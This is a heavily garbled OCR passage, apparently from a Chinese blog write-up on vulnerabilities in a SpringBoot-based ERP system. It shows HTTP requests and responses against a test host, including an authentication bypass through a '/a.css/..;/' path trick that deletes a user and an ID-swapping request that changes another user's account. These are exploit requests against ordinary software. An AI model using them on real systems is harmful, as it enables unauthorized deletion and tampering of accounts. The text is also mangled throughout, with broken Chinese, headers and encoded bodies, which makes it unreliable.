5 Accept-Language: 6
zh=CN, zh;g=0. 8, zh-TW; g=0. 7, zh—-HK; g=0. 5, en-US;g=0. 3, en;q=0. 2 7 {

& Accept—Encoding: gzip, deflate "msg" : "$RAERRTH"

7 Content-Type: application/x—www—form—-urlencoded; charset=UTF-8 "code":200

2 X-Requested-With: XMLHttpRequest 1

9 Content-Length: 7

10 Origin: http://169.254. 168. 98:8080

11 Connection: close

12 Referer: http://169. 254, 168. 98:8080/pages/manage/user. htm!
13| Cookie: Hm_lvt_Tcd9bcbaae133f03abeb19dab579aaba=
1622647345, 1622684699, 1622712576, 1622877594 ; JSESSIONID=
215BASBEC085CC9129B4E2BEE724D364 ;
Hm_Ipvt_1cd9bcbaael133f03abeb19dab579aaba=1622879099

14
15 ids=135 SR e jower FH 1 i) A 1L U FH /2 is I B ces i FH 122
R EEth BEE BEAR  BERE #E{EIP 2 Erdial
1 HF HER{ceshi] joker 22y 169.254.168.9¢ 2021-06-05 16:02:25
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ZS
%

SpringBoot HEZEAELE ERP J5fi5 it

M A] AZE SRR jsh K=

MELENERNRGY, PIARERNEERIERS ids MERESR,

w R =

o

OB WRN = O 0 ® o

1

POST /a.css/..[/user/deleteUser HTTP/1.1

Host: 169.254.168. 98:8080

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:72.0)
Gecko/20100101 Firefox/72.0

Accept: application/json, text/javascript, */*: q=0.01
Accept-Language:

zh=CN, zh;g=0. 8, zh-TW; q=0. 7, zh-HK; g=0. 5, en-US; q=0. 3, en; g=0. 2

Accept-Encoding: gzip, deflate

Content-Type: application/x—www—form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

Content-Length: 7

Origin: http://169.254.168. 98:8080

Gonnection: close

Referer: http://169.254. 168.98:8080/pages/manage/user. html|
Gookie:

ids=135

9 BRUENHFER

HTTP/1.1 200

Date: Sat, 05 Jun 2021 08:05:14 GMT
Connection: close
Content-Length: 33

®~ oW =

{
"msg": "IRIERETN
"code":200

1

ERFEE - BPEEL - BFE—THP - REAFER

ill

W= 000N R WM =

= e

(] B BrEE 38R APES
[ 2 = & ceshi ceshi
[l 2 = TFE joker joker
0 2z o jsh ==
M 2 = EBE test123 AR

EREUEE

POST /user/updatelUser?id=131 HTTP/1.1
Host: 169.254. 168. 98:8080

2 FEAPER

HREEW test123
BE  mewe gnime
miE

HRfT

User—Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; xé4; rv:72.0) Gecko/20100101 Firefox/72.0

01

Accept: application/json, text/javascript, */*;
Accept-Language: zh-CN, zh;q=0. 8, zh-TW;g=0. 7, zh-HK;
Accept-Encoding: gzip, deflate

Content-Type: application/x—www—form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Gontent-Length: 399

Origin: http://169.254.168. 98:8080

Connection: close

Referer: http://169.254. 168.98:8080/pages/manage/user. html

Gookie: Hm_lvt_1cd9bcbaae133f03abeb19dab57%aaba=1622647345, 1622684699, 1622712576, 1622877594 ; JSESSIONID=E9BBB7AAA709884D5BF59504749E4343;

Hm_lpvt_1cdPbcbaae133f03abeb19dab579aaba=1622880394

https://www.cnblogs.com/bmjoker/p/14856437 .html

=0.5, en-US;q=0. 3, en;q=0. 2

Set-Cookie: JSESSIONID=0DBAD833891567334D84D9081D348113; Path=/; Ht
Content-Type: application/json;charset=UTF-8

YIAERS: 123456
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4

5 info=
%7B%22 | oginName%22%3A%22test123%22%20%22user name%22%3A%22%E6%B5%BBHEBKAF%5P5%E 7% 4%ABRE6%BB%B7%22%2C%220r gAbr %22%3A%22%E6%F CHBAKESHIE%B41%22
1d%22%3A%2213%22%20%22se | ectType%22%3A%220r g%22%2C%220r galserRe | |d%22%3A%2210%22%20%221 d%22%3A%22%22%20%22pos i tion%22%3A%22%22%2C%22phonenu

%22%2C%22emai |%22%3A%22%22%2C%22userBIng0rgaDsp | Seq%22%3A%222%22%2C%22descr iption%22%3A%22%22%7D

IR service EEREZE— T updateUserAndOrgUserRel %K :

fiE 12t admin [ 15 &

Holder getRequest

IR checkUserNameAndLoginName() 7374
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Exceptiol

checkUserNameAndLoginName (U

SpringBoot #EZEAEE ERP JEfiL it

serListByloginNa g LloginName){

JE [ o7 51 list

ceptionConstants.

serId.equals(

i AT g A A S St

|loginName7F 3115 5 2 H FH 2 51 E list
1 id 1 )

ption(ExceptionConst

BT/ 2NERR2ARI0ZE—1F,

XEREEF2NERR, BBy

getLoginName() 3XEX id W RIB RS, BEl
getUserListByUserNameOrlLoginName() /7%, BERRBTENSEIHEH sql 1B
BUImIE AT id #HTLEERR, EERIPTIAE
WEUE, B2 EX SEIHITEMA P SRR SO MFIRT, S

B FRIREY user FIF&, MIIERAEHE d 5

==

test123 AP X NAIAF id - 131
joker IR test123 2T RN

GET /user/getUserSession HTTP/1.1
Host: 169.254. 168.98:8080

~

w

Gecko/20100101 Firefox/72.0

Accept: application/json, text/javascript, */%; g=0.01
Accept-Language:

zh-CN, zh;g=0. 8, zh-TW; q=0. 7, zh-HK; g=0. 5, en-US; g=0. 3, en;q=0. 2
6 Accept—Encoding: gzip, deflate

7 X-Requested-With: XMLHttpRequest

g Connection: close
9
q

~

@

Referer: http://169.254. 168. 98:8080/index. html

Cookie: Hm_lvt_Tcd9bcbaael33f03abeb19dabb7%aaba=
1622647345, 1622684699, 1622712576, 1622877594 ; JSESSIONID=
B2F2D7A7BYOEDC6356DEDIBIE321A383];
Hm_lpvt_1cd9bcbaael133f03abeb19dab57%aaba=1622879099

| 1" Cache=Control: max—age=0

https://www.cnblogs.com/bmjoker/p/14856437 .html

User—Agent: Mozilla/5.0 (Windows NT 10.0; Winé4: x64; rv:72.0)

joker i/

1 HTTP/1.1 200

2 Content-Type: application/json;charset=UTF-8
Date: Sat, 05 Jun 2021 08:36:08 GMT
Connection: close

Content-Length: 233

Bow

-~ o,

{

"code" :200

"data": [

"user": {

"id":132
“username”:" joker"
"loginName":" joker"
“password":null
"position":""
“department” :nul |
“email":"",

[

B 5 R AIES

S U=
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SpringBoot HEZEAELE ERP J5fi5 it

POST /user/updateUser?id=131 HTTP/1.1

Host: 169.254.168.98:80800

User—Agent: Mozilla/5.0 (Windows NT 10.0; Winé4;
Gecko/20100101 Firefox/72.0

x64: rv:72.0)

BooneEnmm

1 HTTP/1.1 200
2 Content-Type:
3 Date: Sat, 05 Jun 2021
4 Connection: close

application/json:charset=UTF-8
08:37:38 GMT

Accept: application/json, text/javascript, */*; g=0.01 5 Content—Length: 33
Accept-Language: 6

zh=CN, zh;g=0. 8, zh-TW;q=0. 7, zh-HK;g=0. 5, en-US;q=0. 3, en;g=0. 2 71

Accept—Encoding: gzip, deflate "msg" : "EIERTh" .
Content-Type: application/x-www—form-urlencoded; charset=UTF-8 "code":200
X-Requested-With: XMLHttpRequest }

Content-Length: 415

Origin: http://169.254. 168. 98:8080

Connection: close

Referer: http://169.254. 168. 98:8080/pages/manage/user. html

Cookie: Hm_Ivt_Tcd9bcbaae133f03abeb19dab57%aaba=

1622647345, 1622684699, 1622712576, 1622877594; JSESSIONID= ~ ~
B2F2D7A7BP0EDC6356DEDF8IE321A383 ; &%@mﬁ_ﬁﬁ_
Hm_lpvt_1cdPbcbaael133f03abeb19dab657%aaba=1622882205

info=

%7B%22 loginName%22%3A%22test123%22%2C%22usernameh22%3A%22%E6%B!
H%PSHETHI4%ABNES%RB8%BT7%22%2C%220r gAbr%22%3A%22%E 6% CHBASE6%IEHS:
2orgald%22%3A%2213%22%2C%22se | ectType%22%3A%220r g%22%2C%220rga
22%3A%2210%22%20%22 i d%22%3A%22%22%2C%22pos i tion%22%3A%22%22%2C
m%22%3A%22%22%2C%22ema i [%22%3A%22%22%2C%22userB Ing0rgaDsp|Seqg%!
22%2C%22description%22%3A%22xxxxxxx111111111%22%7D

S%BB%EB%AF

415022

Use| {"loginName":"test123","username":"aep0é O¢O 20" 'orgA r":"ze0°2e001","orgald™:"13
e

" "selectType™"org","orgaUserRell phonenum"™:
mail™:"","userBIngOrgaDsplSeq™:"2","description”: xx)ccxx)d 111111117}

%22
22%

Press 'F2' for focus
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__EOF__
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